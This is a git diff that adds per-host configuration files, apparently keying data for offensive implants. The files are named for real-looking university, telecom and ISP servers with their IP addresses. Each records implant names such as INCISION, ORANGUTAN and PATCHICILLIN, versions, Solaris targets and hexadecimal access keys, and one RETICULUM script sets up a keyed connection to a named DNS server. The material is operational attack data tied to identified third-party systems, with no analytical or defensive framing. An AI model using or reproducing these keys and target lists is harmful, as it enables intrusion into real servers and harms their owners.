b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/incision new file mode 100644 index 0000000..f6e2d02 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6b841bb9 d8bb6e2c 2660759c" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/jackladder b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/jackladder new file mode 100644 index 0000000..10d2f7e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/orangutan b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/orangutan new file mode 100644 index 0000000..ff59ae6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="1f0f55a5 33a93fc5 1138c7c4" +} diff --git a/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/patchicillin b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/patchicillin new file mode 100644 index 0000000..10494ec --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/connection2.connection.com.br___200.160.208.8/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="b67ee345 45fa3b11 3883025c" +} diff --git a/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/dewdrop b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/dewdrop new file mode 100644 index 0000000..1b19a71 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___cs-serv02.meiji.ac.jp___133.26.135.224___20090616-150957() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/incision b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/incision new file mode 100644 index 0000000..78951da --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___cs-serv02.meiji.ac.jp___133.26.135.224___20090616-150957() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="795e5c77 d33accdf ac0e810b" +} diff --git a/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/jackladder b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/jackladder new file mode 100644 index 0000000..b2b64f3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___cs-serv02.meiji.ac.jp___133.26.135.224___20090616-150957() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/orangutan b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/orangutan new file mode 100644 index 0000000..ded0d99 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___cs-serv02.meiji.ac.jp___133.26.135.224___20090616-150957() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="066cc257 de579c6b 9b29bb3a" +} diff --git a/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/patchicillin b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/patchicillin new file mode 100644 index 0000000..fb29bff --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/cs-serv02.meiji.ac.jp___133.26.135.224/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___cs-serv02.meiji.ac.jp___133.26.135.224___20090616-150957() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="4828b2ac 9c491909 4309740d" +} diff --git a/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/dewdrop b/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/dewdrop new file mode 100644 index 0000000..cd2f7f8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___debby.vub.ac.be___134.184.15.79___20070529-145138() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/stoicsurgeon new file mode 100644 index 0000000..4cf911a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/debby.vub.ac.be___134.184.15.79/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___debby.vub.ac.be___134.184.15.79___20070529-145138() { + ## STOICSURGEON Version:STOICSURGEON v1.1.20.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/incision b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/incision new file mode 100644 index 0000000..d79ae67 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20050525-033556() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="54dae6e7 aa9a3382 b45e6372" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/jackladder b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/jackladder new file mode 100644 index 0000000..34564fb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20010914-230435() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/orangutan b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/orangutan new file mode 100644 index 0000000..6f10bb4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20050525-033556() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="222332d2 0383d448 f06a14d5" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/patchicillin b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/patchicillin new file mode 100644 index 0000000..b948ce3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20050525-033556() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="4ea61cfa a6d2fba0 0a868b46" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/sidetrack b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/sidetrack new file mode 100644 index 0000000..ac72eda --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns1.unam.mx___132.248.204.1/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20050525-033556() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="cbbe8792 10f7f69a 5d4e3b3a 3d3d556f" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/dewdrop b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/dewdrop new file mode 100644 index 0000000..cdb3064 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/incision b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/incision new file mode 100644 index 0000000..1f48b0b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="05d4ede8 c5575d0e b661a4a5" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/jackladder b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/jackladder new file mode 100644 index 0000000..c449dbe --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/orangutan b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/orangutan new file mode 100644 index 0000000..34ddee5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e1718f94 c56ea02f 09ff8da8" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/patchicillin b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/patchicillin new file mode 100644 index 0000000..5f22f2e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.chinamobile.com___211.137.241.34/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="67e30650 5b529dc2 a6d0e644" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/incision b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/incision new file mode 100644 index 0000000..4715fdd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20030514-214806() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="89fb31ab 7f5fb21b 8aae3d47" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/jackladder b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/jackladder new file mode 100644 index 0000000..b844419 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20010921-100732() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/orangutan b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/orangutan new file mode 100644 index 0000000..645ef04 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20030514-214806() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="0ecf9306 22cf5d91 d0fff0b3" +} diff --git a/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/reticulum b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/reticulum new file mode 100644 index 0000000..8dc857e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dns2.unam.mx___132.248.10.2/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20030514-214806() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host dns2.unam.mx + set ip 132.248.10.2 + set hostType "Solaris27" + set len 476 + set cv0 772178fa + set cv1 396bae66 + set cv2 1275b563 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/docs.ccs.net.mx___200.36.53.150/jackladder b/Linux/bin/varkeys/pitchimpair/docs.ccs.net.mx___200.36.53.150/jackladder new file mode 100644 index 0000000..d01c945 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/docs.ccs.net.mx___200.36.53.150/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR2___docs.ccs.net.mx___200.36.53.150___20010713-001252() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 +} diff --git a/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/incision b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/incision new file mode 100644 index 0000000..48eac56 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___dragon.unideb.hu___193.6.138.65___20040929-215658() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="bb7c47f0 ecd2b8c0 338fccee" +} diff --git a/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/orangutan b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/orangutan new file mode 100644 index 0000000..867729a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___dragon.unideb.hu___193.6.138.65___20040929-215658() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="b77ca332 7eef12b0 b4e6b145" +} diff --git a/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/patchicillin b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/patchicillin new file mode 100644 index 0000000..31fb3a5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dragon.unideb.hu___193.6.138.65/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___dragon.unideb.hu___193.6.138.65___20040929-215658() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.6 + export CV="45dfb31e 8438d96b 4eb806f5" +} diff --git a/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/incision b/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/incision new file mode 100644 index 0000000..d99d79c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___dukas.upc.es___147.83.2.62___20031119-174549() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="97e9b702 8e634360 fc9dc8d3" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} diff --git a/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/orangutan b/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/orangutan new file mode 100644 index 0000000..03fd58b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/dukas.upc.es___147.83.2.62/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___dukas.upc.es___147.83.2.62___20031119-174549() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="c2b26b68 37942284 003d4ce0" +} diff --git a/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/incision b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/incision new file mode 100644 index 0000000..7155759 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___e3000.hallym.ac.kr___210.115.225.16___20050308-122314() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fda8f372 60167c38 f0013225" +} diff --git a/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/orangutan b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/orangutan new file mode 100644 index 0000000..14d98b5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___e3000.hallym.ac.kr___210.115.225.16___20050308-122314() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="d1517dc8 4e5cf8d5 26734a8a" +} diff --git a/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/patchicillin b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/patchicillin new file mode 100644 index 0000000..ceec293 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/e3000.hallym.ac.kr___210.115.225.16/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___e3000.hallym.ac.kr___210.115.225.16___20050308-122314() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="90d0861d 966469f1 c35c18c6" +} diff --git a/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/dewdrop b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/dewdrop new file mode 100644 index 0000000..8c7615d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/incision b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/incision new file mode 100644 index 0000000..d9ad5d5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="fafcdfec 8a830c16 2167276d" +} diff --git a/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/jackladder b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/jackladder new file mode 100644 index 0000000..e3f5adf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/orangutan b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/orangutan new file mode 100644 index 0000000..1d09a28 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="dda77d5b 463f40ec 30270967" +} diff --git a/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/patchicillin b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/patchicillin new file mode 100644 index 0000000..6d90fe9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/electra.otenet.gr___195.170.2.3/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20060117-111026() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="04ae87a7 a3c5b8f4 a36e3e67" +} diff --git a/Linux/bin/varkeys/pitchimpair/expos.ee.nctu.edu.tw___140.113.212.20/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 b/Linux/bin/varkeys/pitchimpair/expos.ee.nctu.edu.tw___140.113.212.20/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 new file mode 100644 index 0000000..c40e176 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/expos.ee.nctu.edu.tw___140.113.212.20/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 @@ -0,0 +1,4 @@ +PITCHIMPAIR___expos.ee.nctu.edu.tw___140.113.212.20___20070927-133032() { + ## STOICSURGEON V1.2.7.1 SPARC-SUN-SOLARIS2.9 Version:SUCTIONCHAR v2.0.8.7 sparc-sun-solaris2.9 OS:DEWDROP v3.0.6.1 sparc-sun-solaris + export CV="" +} diff --git a/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/incision b/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/incision new file mode 100644 index 0000000..3dfabc1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___fl.sun-ip.or.jp___150.27.1.10___20040415-105302() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="9b1be55a c3e93b7c 5e533337" +} diff --git a/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/orangutan b/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/orangutan new file mode 100644 index 0000000..c282acc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/fl.sun-ip.or.jp___150.27.1.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___fl.sun-ip.or.jp___150.27.1.10___20040415-105302() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="893d53a5 fbd3da5c 50a078a5" +} diff --git a/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/incision b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/incision new file mode 100644 index 0000000..4ad3e46 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ftp.hyunwoo.co.kr___211.232.97.195___20050830-140317() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fe2c7c71 c9a3416a 63f9a7ef" +} diff --git a/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/orangutan b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/orangutan new file mode 100644 index 0000000..71d9390 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ftp.hyunwoo.co.kr___211.232.97.195___20050830-140317() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="e5987c7f d49ab131 bc208536" +} diff --git a/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/patchicillin b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/patchicillin new file mode 100644 index 0000000..3e799db --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ftp.hyunwoo.co.kr___211.232.97.195/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ftp.hyunwoo.co.kr___211.232.97.195___20050830-140317() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="a3f41a78 fba33c43 b17e8787" +} diff --git a/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/incision b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/incision new file mode 100644 index 0000000..bb5634e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ganeran.sarenet.es___194.30.32.177___20040408-204729() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="8f8e2041 bb85fc5b ed121e5a" +} diff --git a/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/orangutan b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/orangutan new file mode 100644 index 0000000..25bb518 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ganeran.sarenet.es___194.30.32.177___20040408-204729() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="023b7cf0 29141b0d e20afa7b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/sidetrack b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/sidetrack new file mode 100644 index 0000000..243281b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ganeran.sarenet.es___194.30.32.177/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ganeran.sarenet.es___194.30.32.177___20040408-204729() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="97df84e3 5962c86b e36d7f52 abd46196" +} diff --git a/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/incision b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/incision new file mode 100644 index 0000000..d30a330 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___geosun1.unige.ch___129.194.41.4___20050609-030034() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="14736d79 d5201861 9363f6a0" +} diff --git a/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/orangutan b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/orangutan new file mode 100644 index 0000000..1f471af --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___geosun1.unige.ch___129.194.41.4___20050609-030034() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="3adf0f29 4a96a217 fe9d0add" +} diff --git a/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/patchicillin b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/patchicillin new file mode 100644 index 0000000..9e968a8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/geosun1.unige.ch___129.194.41.4/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___geosun1.unige.ch___129.194.41.4___20050609-030034() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="626225ab a18cc995 aa02e7b1" +} diff --git 